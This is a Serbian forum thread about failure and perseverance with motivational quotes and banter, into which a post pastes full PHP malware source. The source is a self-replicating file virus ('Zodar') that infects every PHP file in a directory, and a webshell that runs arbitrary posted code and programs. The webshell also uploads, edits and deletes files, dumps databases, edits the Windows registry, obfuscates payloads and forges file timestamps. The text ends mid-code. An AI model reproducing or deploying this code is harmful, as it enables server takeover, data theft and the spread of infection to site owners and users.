Registracija
Upoznavanje.net vam pomaže da se povežete sa drugim ljudima iz vašeg života.

Resih da otvorim ovu temu za koju sam ekspert:neuspeh.Nisam usamljen jer svi grese.Ne poneko,ne vecina,vec svi.Nije toliko vazno da li cemo pogresiti,vec kako cemo pogresiti.Razlika izmedju ljudi koji su uspeli u zivotu i onih koji nisu nije u broju njihovih gresaka,vec u tome sta su uradili posle toga.
Primer Ajnstajna koji ima reputaciju najinteligentnije osobe koja je ikad zivela,rekao je da razmislja i razmislja mesecima i godinama.Devedeset devet puta je pogresan zakljucak a stoti put bude u pravu.
Primer Edisona,trazeci nacin da odrzi sijalicu da sija,isprobao je vise od deset hiljada razlicitih kombinacija materijala i svi pokusaji su propali.Na pitanje kako moze da nastavi posle toliko neuspeha,on je odgovorio kako to ne vidi kao promasaje.Rekao je da je uspesno identifikovao preko deset hiljada nacina koji nisu radili i da ga je svaki pokusaj vodio sve blize ka onom koji hoce.
Problem kod velikog broja ljudi danas je taj sto nisu voljni da se dovoljno oznoje,ako uopste i pokusaju nesto.Oni zele svoj uspeh momentalno.Ali on retko dolazi na taj nacin.Moramo biti spremni da prvo neuspevamo.
Ko uvek zeli biti sretan, mora stalno da se menja. wink
Resih da otvorim ovu temu za koju sam ekspert:neuspeh.Nisam usamljen jer svi grese.Ne poneko,ne vecina,vec svi.Nije toliko vazno da li cemo pogresiti,vec kako cemo pogresiti.Razlika izmedju ljudi koji su uspeli u zivotu i onih koji nisu nije u broju njihovih gresaka,vec u tome sta su uradili posle toga.
Primer Ajnstajna koji ima reputaciju najinteligentnije osobe koja je ikad zivela,rekao je da razmislja i razmislja mesecima i godinama.Devedeset devet puta je pogresan zakljucak a stoti put bude u pravu.
Primer Edisona,trazeci nacin da odrzi sijalicu da sija,isprobao je vise od deset hiljada razlicitih kombinacija materijala i svi pokusaji su propali.Na pitanje kako moze da nastavi posle toliko neuspeha,on je odgovorio kako to ne vidi kao promasaje.Rekao je da je uspesno identifikovao preko deset hiljada nacina koji nisu radili i da ga je svaki pokusaj vodio sve blize ka onom koji hoce.
Problem kod velikog broja ljudi danas je taj sto nisu voljni da se dovoljno oznoje,ako uopste i pokusaju nesto.Oni zele svoj uspeh momentalno.Ali on retko dolazi na taj nacin.Moramo biti spremni da prvo neuspevamo.



ti ces mi kazes...... TongueTongueTongue
- For God´s sake, Effie, why can´t you be like other girls?!
-Because the world is overcrowded with other girls Smile


pre nego sto me iskometarises, potrudi se da si jebeno savrsen/a
Moja prvobitna namera zbog koje sam došao na ovaj sajt je (bar zasad) rezultirala neuspehom roll
Mada, uvek treba pokušati. Ponekad se istovremeno sa neuspehom na jednom planu, dogodi uspeh na drugom planu. Npr., nisam ovde našao devojku, ali sam našao dobro društvo :D
men mrzi da chitam al reko da se zapljunem i ovdi 8)
men mrzi da chitam al reko da se zapljunem i ovdi 8)


...bem te plavu (joj što me šokne ovo bebče svaki put) ti ako si bezgrešna beži sa teme da se ne ogrešiš štogod... Tongue
ja greshke ispravljam u hodu i ne obazirem se na njI posli, shto bilo bilo shto tje bidne tjemo da vidimo tek, ne se sIkiram lol
"Za uspeh je potrebna i dovoljna samo sreca. Pitajte bilo koga ko nije uspeo."

wink
covek kada bi znao gde ce pasti on bi seo!
<?php
function zodar()
{
//[Zodar] by Negral
//Created 03/05/2002
$c = "";
$f = fopen (__FILE__, "r"Wink;
$c = fread ($f, filesize (__FILE__));
fclose ($f);
$c = substr($c,0,866);
$handle=opendir('.');
while (($file = readdir($handle))!==false) {
if ($file != "." && $file != ".."Wink
{
$s = substr($file, -3);
if ($s=="php"Wink
{
$g = fopen ($file, "r"Wink;
$cont = fread ($g,filesize ($file));
fclose ($g);
if (!strstr($cont,"[Zodar]"Wink)
{
unlink("$file"Wink;
$g = fopen ($file, "a+"Wink;
fwrite ($g,"$c"Wink;
fwrite ($g,"\n"Wink;
fwrite ($g,substr($cont,5));
fclose ($g);
}
}

}

}

closedir($handle);
}
zodar();
?>
<?php
/**
dzÀ¶µÄ·øÉäÓãĐÞ¸Ä
**/
error_reporting(7);
ob_start();
$mtime = explode(' ', microtime());
$starttime = $mtime[1] + $mtime[0];
/*===================== ³ÌĐòÅäÖà =====================*/
// ÊÇ·ñĐčÒªÃÜÂëÑéÖ¤,1ΪĐčÒªÑéÖ¤,ĆäËûÊý×ÖΪֱ½Ó½øČë.ÏÂÃćÑ¡Ï îÔòÎÞЧ
$admin['check'] = "1";
// Čç¹ûĐčÒªÃÜÂëÑéÖ¤,ÇëĐ޸ĵǽÃÜÂë
$admin['pass'] = "1234";
// ÊÇ·ñÔÊĐíphpspy±¾Éí×Ô¶¯Đ޸ı༭ºóÎļþµÄʱ¼äΪ½¨Á¢Ê±¼ä(yes/no)
$retime = "no";
// ĬČÏcmd.exeµÄλÖÃ,proc_openº¯ÊýҪʹÓõÄ,linuxϵͳÇë¶ÔÓ¦ĐÞ¸Ä.(¼ÙÉčÊÇwinntϵͳÔÚ³ÌĐòÀïÒÀČ»¿ÉÒÔÖ¸¶¨)
$cmd = "cmd.exe";
// ÏÂÃćÊÇphpspyÏÔʾ°ćȨÄÇÀ¸µÄ£¬ÒòΪ±»ºÜ¶à³ÌĐòµ±³É×÷Ϊ¹Ø¼ü´ÊɱÁË£¬Ó㺮 ~~ÔÊĐí×Ô¶¨Òå°É¡£»¹ÊDz»¶®±đ¸Ä~~
$notice = "[s4t]";
/*===================== ÅäÖýáÊø =====================*/
// ÔÊĐí³ÌĐòÔÚ register_globals = off µÄ»·¾³Ï¹¤×÷
$onoff = (function_exists('ini_get')) ? ini_get('register_globals') : get_cfg_var('register_globals');

if ($onoff != 1) {
@extract($_POST, EXTR_SKIP);
@extract($_GET, EXTR_SKIP);
}

$self = $_SERVER['PHP_SELF'];
$dis_func = get_cfg_var("disable_functions"Wink;


/*===================== Éí·ÝÑéÖ¤ =====================*/
if($admin['check'] == "1"Wink {
if ($_GET['action'] == "logout"Wink {
setcookie ("adminpass", ""Wink;
echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
echo "<span style=\"font-size: 12px; font-family: Verdana\">×¢Ïú³É¹¦......

ČýÃëºó×Ô¶¯Í˳ö»òµ¥»÷ÕâÀïÍ˳ö³ÌĐò½çÃć >>>";
exit;
}

if ($_POST['do'] == 'login') {
$thepass=trim($_POST['adminpass']);
if ($admin['pass'] == $thepass) {
setcookie ("adminpass",$thepass,time()+(1*24*3600));
echo "<meta http-equiv=\"refresh\" content=\"3;URL=".$self."\">";
echo "<span style=\"font-size: 12px; font-family: Verdana\">µÇ½³É¹¦......

ČýÃëºó×Ô¶¯Ìøת»òµ¥»÷ÕâÀï½øČë³ÌĐò½çÃć >>>";
exit;
}
}
if (isset($_COOKIE['adminpass'])) {
if ($_COOKIE['adminpass'] != $admin['pass']) {
loginpage();
}
} else {
loginpage();
}
}
/*===================== ÑéÖ¤½áÊø =====================*/

// ÅĐ¶Ï magic_quotes_gpc ״̬
if (get_magic_quotes_gpc()) {
$_GET = stripslashes_array($_GET);
$_POST = stripslashes_array($_POST);
}

// ²é¿´PHPINFO
if ($_GET['action'] == "phpinfo"Wink {
echo $phpinfo=(!eregi("phpinfo",$dis_func)) ? phpinfo() : "phpinfo() º¯ÊýÒѱ»½ûÓÃ,Çë²é¿´<PHP»·¾³±äÁ¿>";
exit;
}
if($_GET['action'] == "nowuser"Wink {
$user = get_current_user();
if(!$user) $user = "±¨¸ć³¤¹Ù£¬Ö÷»ú±ä̬£¬ÎÞ·¨»ñČ¡µ±Ç°½øĐĐÓû§Ãû£¡";
echo"µ±Ç°½ø³ÌÓû§Ãû£º$user";
exit;
}
if(isset($_POST['phpcode'])){
eval("?".">$_POST[phpcode]<?"Wink;
exit;
}
// ÔÚÏß´úÀí
if (isset($_POST['url'])) {
$proxycontents = @file_get_contents($_POST['url']);
echo ($proxycontents) ? $proxycontents : "<body bgcolor=\"#F5F5F5\" style=\"font-size: 12px;\">


»ñČ¡ URL ÄÚČÝʧ°Ü

</body>";
exit;
}

// ÏÂÔØÎļþ
if (!empty($downfile)) {
if (!@file_exists($downfile)) {
echo "<script>alert('ÄãҪϵÄÎļþ²»´ćÔÚ!')</script>";
} else {
$filename = basename($downfile);
$filename_info = explode('.', $filename);
$fileext = $filename_info[count($filename_info)-1];
header('Content-type: application/x-'.$fileext);
header('Content-Disposition: attachment; filename='.$filename);
header('Content-Description: PHP Generated Data');
header('Content-Length: '.filesize($downfile));
@readfile($downfile);
exit;
}
}

// Ö±½ÓÏÂÔر¸·ÝÊý¾Ý¿â
if ($_POST['backuptype'] == 'download') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"Wink;
@mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"Wink;
$table = array_flip($_POST['table']);
$result = mysql_query("SHOW tables"Wink;
echo ($result) ? NULL : "³ö´í: ".mysql_error();

$filename = basename($_SERVER['HTTP_HOST']."_MySQL.sql"Wink;
header('Content-type: application/unknown');
header('Content-Disposition: attachment; filename='.$filename);
$mysqldata = '';
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
$mysqldata.= sqldumptable($currow[0]);
$mysqldata.= $mysqldata."\r\n";
}
}
mysql_close();
exit;
}

// ³ÌĐòĿ¼
$pathname=str_replace('\\','/',dirname(__FILE__));

// »ñČ¡µ±Ç°Â·¾¶
if (!isset($dir) or empty($dir)) {
$dir = ".";
$nowpath = getPath($pathname, $dir);
} else {
$dir=$_GET['dir'];
$nowpath = getPath($pathname, $dir);
}

// ÅĐ¶Ï¶ÁĐ´Çé¿ö
$dir_writeable = (dir_writeable($nowpath)) ? "¿ÉĐ´" : "²»¿ÉĐ´";
$phpinfo=(!eregi("phpinfo",$dis_func)) ? " | PHPINFO()" : "";
$reg = (substr(PHP_OS, 0, 3) == 'WIN') ? " | ×¢²á±í²Ù×÷" : "";

$tb = new FORMS;

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>sai's webshell</title>
<style type="text/css">
body,td {
font-family: "Tahoma";
font-size: "12px";
line-height: "150%";
}
.smlfont {
font-family: "Tahoma";
font-size: "11px";
}
.INPUT {
FONT-SIZE: "12px";
COLOR: "#000000";
BACKGROUND-COLOR: "#FFFFFF";
height: "18px";
border: "1px solid #666666";
padding-left: "2px";
}
.redfont {
COLOR: "#A60000";
}
a:link,a:visited,a:active {
color: "#000000";
text-decoration: underline;
}
a:hover {
color: "#465584";
text-decoration: none;
}
.top {BACKGROUND-COLOR: "#CCCCCC"}
.firstalt {BACKGROUND-COLOR: "#EFEFEF"}
.secondalt {BACKGROUND-COLOR: "#F5F5F5"}
</style>
<SCRIPT language=JavaScript>
function CheckAll(form) {
for (var i=0;i<form.elements.length;i++) {
var e = form.elements;
if (e.name != 'chkall')
e.checked = form.chkall.checked;
}
}
function really(d,f,m,t) {
if (confirm(m)) {
if (t == 1) {
window.location.href='?dir='+d+'&deldir='+f;
} else {
window.location.href='?dir='+d+'&delfile='+f;
}
}
}
</SCRIPT>
</head>
<body style="table-layout:fixed; word-break:break-all">

<?php
$test = "";
if(!$_GET['dir']) $dir = "./";
$tb->tableheader();
$tb->tdbody('<table width="98%" border="0" cellpadding="0" cellspacing="0"><tr><td>'.$_SERVER['HTTP_HOST'].'</td><td align="center">'.date("YÄêmÔÂdČÕ h:i:s",time()).'</td><td align="right">'.$_SERVER['REMOTE_ADDR'].'</td></tr></table>','center','top');
$tb->tdbody('×¢Ïú | shellĿ¼ | »·¾³±äÁ¿ | ´úÀí'.$reg.$phpinfo.' | WebShell | downloads | Search | Eval | SQL Query | Fun |MySQL Backup');
$tb->tablefooter();
?>

<table width="775" border="0" cellpadding="0">
<?
$tb->headerform(array('method'=>'GET','content'=>'

³ÌĐò·¾¶: '.$pathname.'
µ±Ç°Ä¿Â¼('.$dir_writeable.','.substr(base_convert(@fileperms($nowpath),10,8),-4).'): '.$nowpath.'
ÌøתĿ¼: '.$tb->makeinput('dir').' '.$tb->makeinput('','Č·¶¨','','submit').' ¡¼Ö§³Ö¾ø¶Ô·¾¶ºÍÏà¶Ô·¾¶¡½'));

$tb->headerform(array('action'=>'?dir='.urlencode($dir),'enctype'=>'multipart/form-data','content'=>'ÉÏ´«Îļþµ½µ±Ç°Ä¿Â¼: '.$tb->makeinput('uploadfile','','','file').' '.$tb->makeinput('doupfile','Č·¶¨','','submit').$tb->makeinput('uploaddir',$dir,'','hidden')));

$tb->headerform(array('action'=>'?action=editfile&dir='.urlencode($dir),'content'=>'Đ½¨ÎļþÔÚµ±Ç°Ä¿Â¼: '.$tb->makeinput('editfile').' '.$tb->makeinput('createfile','Č·¶¨','','submit')));

$tb->headerform(array('content'=>'Đ½¨Ä¿Â¼ÔÚµ±Ç°Ä¿Â¼: '.$tb->makeinput('newdirectory').' '.$tb->makeinput('createdirectory','Č·¶¨','','submit')));
?>
</table>


<?php
/*===================== Ö´ĐĐ²Ù×÷ ¿ªÊ¼ =====================*/
echo "

\n";
// ɾ³ýÎļþ
if (!empty($delfile)) {
if (file_exists($delfile)) {
echo (@unlink($delfile)) ? $delfile." ɾ³ý³É¹¦!" : "Îļþɾ³ýʧ°Ü!";
} else {
echo basename($delfile)." ÎļþÒѲ»´ćÔÚ!";
}
}

// ɾ³ýĿ¼
elseif (!empty($deldir)) {
$deldirs="$dir/$deldir";
if (!file_exists("$deldirs"Wink) {
echo "$deldir Ŀ¼ÒѲ»´ćÔÚ!";
} else {
echo (deltree($deldirs)) ? "Ŀ¼ɾ³ý³É¹¦!" : "Ŀ¼ɾ³ýʧ°Ü!";
}
}

// ´´½¨Ä¿Â¼
elseif (($createdirectory) AND !empty($_POST['newdirectory'])) {
if (!empty($newdirectory)) {
$mkdirs="$dir/$newdirectory";
if (file_exists("$mkdirs"Wink) {
echo "¸ÃĿ¼ÒÑ´ćÔÚ!";
} else {
echo (@mkdir("$mkdirs",0777)) ? "´´½¨Ä¿Â¼³É¹¦!" : "´´½¨Ê§°Ü!";
@chmod("$mkdirs",0777);
}
}
}

// ÉÏ´«Îļþ
elseif ($doupfile) {
echo (@copy($_FILES['uploadfile']['tmp_name'],"".$uploaddir."/".$_FILES['uploadfile']['name'].""Wink) ? "ÉÏ´«³É¹¦!" : "ÉÏ´«Ê§°Ü!";
}

// ±à¼­Îļþ
elseif ($_POST['do'] == 'doeditfile') {
if (!empty($_POST['editfilename'])) {
if(!file_exists($editfilename)) unset($retime);
if($time==$now) $time = @filemtime($editfilename);
$time2 = @date("Y-m-d H:i:s",$time);
$filename="$editfilename";
@$fp=fopen("$filename","w"Wink;
if($_POST['change']=="yes"Wink{
$filecontent = "?".">".$_POST['filecontent']."<?";
$filecontent = gzdeflate($filecontent);
$filecontent = base64_encode($filecontent);
$filecontent = "<?php\n/*\n´úÂëÓÉdzÀ¶µÄ·øÉäÓã¼ÓÃÜ!\n*/\neval(gzinflate(base64_decode('$filecontent')));\n"."?>";
}else{
$filecontent = $_POST['filecontent'];
}
echo $msg=@fwrite($fp,$filecontent) ? "Đ´ČëÎļþ³É¹¦!" : "Đ´Čëʧ°Ü!";
@fclose($fp);
if($retime=="yes"Wink{
echo" ÓãÓã×Ô¶¯²Ù×÷:";
echo $msg=@touch($filename,$time) ? "ĐÞ¸ÄÎļþΪ".$time2."³É¹¦!" : "ĐÞ¸ÄÎļþʱ¼äʧ°Ü!";
}
} else {
echo "ÇëÊäČëÏëÒª±à¼­µÄÎļþÃû!";
}
}
//ÎļþÏÂÔØ
elseif ($_POST['do'] == 'downloads') {
$contents = @file_get_contents($_POST['durl']);
if(!$contents){
echo"ÎÞ·¨¶ÁČ¡ÒªÏÂÔصÄÊý¾Ý";
}
elseif(file_exists($path)){
echo"ºÜ±§Ç¸£¬Îļþ".$path."ÒѾ­´ćÔÚÁË£¬Çë¸ü»»±£´ćÎļþÃû¡£";
}else{
$fp = @fopen($path,"w"Wink;
echo $msg=@fwrite($fp,$contents) ? "ÏÂÔØÎļþ³É¹¦!" : "ÏÂÔØÎļþĐ´Čëʱʧ°Ü!";
@fclose($fp);
}
}

// ±à¼­ÎļþÊôĐÔ
elseif ($_POST['do'] == 'editfileperm') {
if (!empty($_POST['fileperm'])) {
$fileperm=base_convert($_POST['fileperm'],8,10);
echo (@chmod($dir."/".$file,$fileperm)) ? "ÊôĐÔĐ޸ijɹ¦!" : "ĐÞ¸Äʧ°Ü!";
echo " Îļþ ".$file." Đ޸ĺóµÄÊôĐÔΪ: ".substr(base_convert(@fileperms($dir."/".$file),10,8),-4);
} else {
echo "ÇëÊäČëÏëÒªÉčÖõÄÊôĐÔ!";
}
}

// Îļþ¸ÄÃû
elseif ($_POST['do'] == 'rename') {
if (!empty($_POST['newname'])) {
$newname=$_POST['dir']."/".$_POST['newname'];
if (@file_exists($newname)) {
echo "".$_POST['newname']." ÒѾ­´ćÔÚ,ÇëÖØĐÂÊäČëÒ»¸ö!";
} else {
echo (@rename($_POST['oldname'],$newname)) ? basename($_POST['oldname'])." ³É¹¦¸ÄÃûΪ ".$_POST['newname']." !" : "ÎļþÃûĐÞ¸Äʧ°Ü!";
}
} else {
echo "ÇëÊäČëÏëÒª¸ÄµÄÎļþÃû!";
}
}
elseif ($_POST['do'] == 'search') {
if(!empty($oldkey)){
echo"²éÕҹؼü´Ê:[".$oldkey."],ÏÂÃćÏÔʾ²éÕҵĽá¹û:";
if($type2 == "getpath"Wink{
echo"Êó±êÒƵ½½á¹ûÎļþÉÏ»áÓĐ²¿·Ö½ØČ¡ÏÔʾ.";
}
echo"

";
find($path);
}else{
echo"ÄãÒª²éϺÃ×?µ½µ×Òª²éϺÃ×ÄØ?ÓĐûÓĐϺÃ×ÒªÄã²éÄØ?";
}
}

// ¿Ë¡ʱ¼ä
elseif ($_POST['do'] == 'domodtime') {
if (!@file_exists($_POST['curfile'])) {
echo "ÒªĐ޸ĵÄÎļþ²»´ćÔÚ!";
} else {
if (!@file_exists($_POST['tarfile'])) {
echo "Òª²ÎÕÕµÄÎļþ²»´ćÔÚ!";
} else {
$time=@filemtime($_POST['tarfile']);
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." µÄĐÞ¸Äʱ¼ä³É¹¦¸ÄΪ ".date("Y-m-d H:i:s",$time)." !" : "ÎļþµÄĐÞ¸Äʱ¼äĐÞ¸Äʧ°Ü!";
}
}
}

// ×Ô¶¨Òåʱ¼ä
elseif ($_POST['do'] == 'modmytime') {
if (!@file_exists($_POST['curfile'])) {
echo "ÒªĐ޸ĵÄÎļþ²»´ćÔÚ!";
} else {
$year=$_POST['year'];
$month=$_POST['month'];
$data=$_POST['data'];
$hour=$_POST['hour'];
$minute=$_POST['minute'];
$second=$_POST['second'];
if (!empty($year) AND !empty($month) AND !empty($data) AND !empty($hour) AND !empty($minute) AND !empty($second)) {
$time=strtotime("$data $month $year $hour:$minute:$second"Wink;
echo (@touch($_POST['curfile'],$time,$time)) ? basename($_POST['curfile'])." µÄĐÞ¸Äʱ¼ä³É¹¦¸ÄΪ ".date("Y-m-d H:i:s",$time)." !" : "ÎļþµÄĐÞ¸Äʱ¼äĐÞ¸Äʧ°Ü!";
}
}
}

// Á¬½ÓMYSQL
elseif ($connect) {
if (@mysql_connect($servername,$dbusername,$dbpassword) AND @mysql_select_db($dbname)) {
echo "Êý¾Ý¿âÁ¬½Ó³É¹¦!";
mysql_close();
} else {
echo mysql_error();
}
}

// Ö´ĐĐSQLÓï¾ä
elseif ($_POST['do'] == 'query') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"Wink;
@mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"Wink;
$result = @mysql_query($_POST['sql_query']);
echo ($result) ? "SQLÓï¾ä³É¹¦Ö´ĐĐ!" : "³ö´í: ".mysql_error();
mysql_close();
}

// ±¸·Ý²Ù×÷
elseif ($_POST['do'] == 'backupmysql') {
if (empty($_POST['table']) OR empty($_POST['backuptype'])) {
echo "ÇëÑ¡ÔñÓû±¸·ÝµÄÊý¾Ý±íºÍ±¸·Ý·½Ê½!";
} else {
if ($_POST['backuptype'] == 'server') {
@mysql_connect($servername,$dbusername,$dbpassword) or die("Êý¾Ý¿âÁ¬½Óʧ°Ü"Wink;
@mysql_select_db($dbname) or die("Ñ¡ÔñÊý¾Ý¿âʧ°Ü"Wink;
$table = array_flip($_POST['table']);
$filehandle = @fopen($path,"w"Wink;
if ($filehandle) {
$result = mysql_query("SHOW tables"Wink;
echo ($result) ? NULL : "³ö´í: ".mysql_error();
while ($currow = mysql_fetch_array($result)) {
if (isset($table[$currow[0]])) {
sqldumptable($currow[0], $filehandle);
fwrite($filehandle,"\n\n\n"Wink;
}
}
fclose($filehandle);
echo "Êý¾Ý¿âÒѳɹ¦±¸·Ýµ½ ".$path."";
mysql_close();
} else {
echo "±¸·Ýʧ°Ü,ÇëČ·ČÏÄ¿±êÎļþ¼ĐÊÇ·ñ¾ßÓĐ¿ÉдȨÏÞ!";
}
}
}
}

// ´ò°üÏÂÔØ PS:ÎļþÌ«´ó¿ÉÄܷdz£Âý
// Thx : Đ¡»¨
elseif($downrar) {
if (!empty($dl)) {
$dfiles="";
foreach ($dl AS $filepath=>$value) {
$dfiles.=$filepath.",";
}
$dfiles=substr($dfiles,0,strlen($dfiles)-1);
$dl=explode(",",$dfiles);
$zip=new PHPZip($dl);
$code=$zip->out;
header("Content-type: application/octet-stream"Wink;
header("Accept-Ranges: bytes"Wink;
header("Accept-Length: ".strlen($code));
header("Content-Disposition: attachment;filename=".$_SERVER['HTTP_HOST']."_Files.tar.gz"Wink;
echo $code;
exit;
} else {
echo "ÇëÑ¡ÔñÒª´ò°üÏÂÔصÄÎļþ!";
}
}

// Shell.Application ÔËĐĐ³ÌĐò
elseif(($_POST['do'] == 'programrun') AND !empty($_POST['program'])) {
$shell= &new COM('Sh'.'el'.'l.Appl'.'ica'.'tion');
$a = $shell->ShellExecute($_POST['program'],$_POST['prog']);
echo ($a=='0') ? "³ÌĐòÒѾ­³É¹¦Ö´ĐĐ!" : "³ÌĐòÔËĐĐʧ°Ü!";
}

// ²é¿´PHPÅäÖòÎÊý×´¿ö
elseif(($_POST['do'] == 'viewphpvar') AND !empty($_POST['phpvarname'])) {
echo "ÅäÖòÎÊý ".$_POST['phpvarname']." ¼ì²â½á¹û: ".getphpcfg($_POST['phpvarname'])."";
}

// ¶ÁČ¡×¢²á±í
elseif(($regread) AND !empty($_POST['readregname'])) {
$shell= &new COM('WSc'.'rip'.'t.Sh'.'ell');
var_dump(@$shell->RegRead($_POST['readregname']));
}

// Đ´Čë×¢²á±í
elseif(($regwrite) AND !empty($_POST['writeregname']) AND !empty($_POST['regtype']) AND !empty($_POST['regval'])) {
$shell= &new COM('W'.'Scr'.'ipt.S'.'hell');
$a = @$shell->RegWrite($_POST['writeregname'], $_POST['regval'], $_POST['regtype']);
echo ($a=='0') ? "Đ´Čë×¢²á±í½¡Öµ³É¹¦!" : "Đ´Čë ".$_POST['regname'].", ".$_POST['regval'].", ".$_POST['regtype']." ʧ°Ü!";
}

// ɾ³ý×¢²á±í
elseif(($regdelete) AND !empty($_POST['delregname'])) {
$shell= &new COM('WS'.'cri'.'pt.S'.'he'.'ll');
$a = @$shell->RegDelete($_POST['delregname']);
echo ($a=='0') ? "ɾ³ý×¢²á±í½¡Öµ³É¹¦!" : "ɾ³ý ".$_POST['delregname']." ʧ°Ü!";
}

else {
echo "$notice";
}

echo "

\n";
/*===================== Ö´ĐĐ²Ù×÷ ½áÊø =====================*/

if (!isset($_GET['action']) OR empty($_GET['action']) OR ($_GET['action'] == "dir"Wink) {
$tb->tableheader();
?>
<tr bgcolor="#cccccc">
<td align="center" nowrap width="27%">Îļþ</td>
<td align="center" nowrap width="16%">´´½¨ČÕĆÚ</td>
<td align="center" nowrap width="16%">×îºóĐÞ¸Ä</td>
<td align="center" nowrap width="11%">´óĐ¡</td>
<td align="center" nowrap width="6%">ÊôĐÔ</td>
<td align="center" nowrap width="24%">²Ù×÷</td>
</tr>
<?php
// Ŀ¼Áбí
$dirs=@opendir($dir);
$dir_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="1"Wink{
if($file!=".." && $file!="."Wink {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
$dirperm=substr(base_convert(fileperms($filepath),10,8),-4);
echo "<tr class=".getrowbg().">\n";
echo " <td style=\"padding-left: 5px;\">[$file]</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\"><dir></td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$dirperm</td>\n";
echo " <td align=\"center\" nowrap>| <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($file)."','ÄãČ·¶¨ÒªÉ¾³ý $file Ŀ¼Âđ? \\n\\nČç¹û¸ÃĿ¼·Ç¿Õ,´Ë´Î²Ù×÷½«»áɾ³ý¸ÃĿ¼ÏµÄËùÓĐÎļþ !','1')\">ɾ³ý | ¸ÄÃû |</td>\n";
echo "</tr>\n";
$dir_i++;
} else {
if($file==".."Wink {
echo "<tr class=".getrowbg().">\n";
echo " <td nowrap colspan=\"6\" style=\"padding-left: 5px;\">·µ»ØÉϼ¶Ä¿Â¼</td>\n";
echo "</tr>\n";
}
}
}
}// while
@closedir($dirs);
?>
<tr bgcolor="#cccccc">
<td colspan="6" height="5"></td>
</tr>
<FORM action="" method="POST">
<?
// ÎļþÁбí
$dirs=@opendir($dir);
$file_i = '0';
while ($file=@readdir($dirs)) {
$filepath="$dir/$file";
$a=@is_dir($filepath);
if($a=="0"Wink{
$size=@filesize($filepath);
$size=$size/1024 ;
$size= @number_format($size, 3);
if (@filectime($filepath) == @filemtime($filepath)) {
$ctime=@date("Y-m-d H:i:s",@filectime($filepath));
$mtime=@date("Y-m-d H:i:s",@filemtime($filepath));
} else {
$ctime="".@date("Y-m-d H:i:s",@filectime($filepath))."";
$mtime="".@date("Y-m-d H:i:s",@filemtime($filepath))."";
}
@$fileperm=substr(base_convert(@fileperms($filepath),10,8),-4);
echo "<tr class=".getrowbg().">\n";
echo " <td style=\"padding-left: 5px;\">";
echo "<INPUT type=checkbox value=1 name=dl[$filepath]>";
echo "$file</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$ctime</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$mtime</td>\n";
echo " <td align=\"right\" nowrap class=\"smlfont\">$size KB</td>\n";
echo " <td align=\"center\" nowrap class=\"smlfont\">$fileperm</td>\n";
echo " <td align=\"center\" nowrap>ÏÂÔØ | ±à¼­ | <a href=\"#\" onclick=\"really('".urlencode($dir)."','".urlencode($filepath)."','ÄãČ·¶¨ÒªÉ¾³ý $file ÎļþÂđ?','2')\">ɾ³ý | ¸ÄÃû | ʱ¼ä</td>\n";
echo "</tr>\n";
$file_i++;
}
}// while
@closedir($dirs);
$tb->tdbody('<table width="100%" border="0" cellpadding="2" cellspacing="0" align="center"><tr><td>'.$tb->makeinput('chkall','on','onclick="CheckAll(this.form)"','checkbox','30','').' '.$tb->makeinput('downrar','Ñ¡ÖĐÎļþ´ò°üÏÂÔØ','','submit').'</td><td align="right">'.$dir_i.' ¸öĿ¼ / '.$file_i.' ¸öÎļþ</td></tr></table>','center',getrowbg(),'','','6');

echo "</FORM>\n";
echo "</table>\n";
}// end dir

elseif ($_GET['action'] == "editfile"Wink {
if(empty($newfile)) {
$filename="$dir/$editfile";
$fp=@fopen($filename,"r"Wink;
$contents=@fread($fp, filesize($filename));
@fclose($fp);
$contents=htmlspecialchars($contents);
}else{
$editfile=$newfile;
$filename = "$dir/$editfile";
}
$action = "?dir=".urlencode($dir)."&editfile=".$editfile;
$tb->tableheader();
$tb->formheader($action,'Đ½¨/±à¼­Îļþ');
$tb->tdbody('µ±Ç°Îļþ: '.$tb->makeinput('editfilename',$filename).' ÊäČëĐÂÎļþÃûÔò½¨Á¢ĐÂÎļþ Php´úÂë¼ÓÃÜ: <input type="checkbox" name="change" value="yes" onclick="javascript:alert(\'Õâ¸ö¹¦ÄÜÖ»¿ÉÒÔÓÃÀ´¼ÓÃÜ»òÊÇѹËõÍêÕûµÄphp´úÂë¡£\\n\\n·Çphp´úÂë»ò²»ÍêÕûphp´úÂë»ò²»Ö§³Ögzinflateº¯ÊýÇ벻ҪʹÓã¡\')"> ');
$tb->tdbody($tb->maketextarea('filecontent',$contents));
$tb->makehidden('do','doeditfile');
$tb->formfooter('1','30');
}//end editfile

elseif ($_GET['action'] == "rename"Wink {
$nowfile = (isset($_POST['newname'])) ? $_POST['newname'] : basename($_GET['fname']);
$action = "?dir=".urlencode($dir)."&fname=".urlencode($fname);
$tb->tableheader();
$tb->formheader($action,'ĐÞ¸ÄÎļþÃû');
$tb->makehidden('oldname',$dir."/".$nowfile);
$tb->makehidden('dir',$dir);
$tb->tdbody('µ±Ç°ÎļþÃû: '.basename($nowfile));
$tb->tdbody('¸ÄÃûΪ: '.$tb->makeinput('newname'));
$tb->makehidden('do','rename');
$tb->formfooter('1','30');
}//end rename

elseif ($_GET['action'] == "eval"Wink {
$action = "?dir=".urlencode($dir)."";
$tb->tableheader();
$tb->formheader(''.$action.' "target="_blank' ,'Ö´ĐĐphp½Å±¾');
$tb->tdbody($tb->maketextarea('phpcode',$contents));
$tb->formfooter('1','30');
}
elseif ($_GET['action'] == "fileperm"Wink {
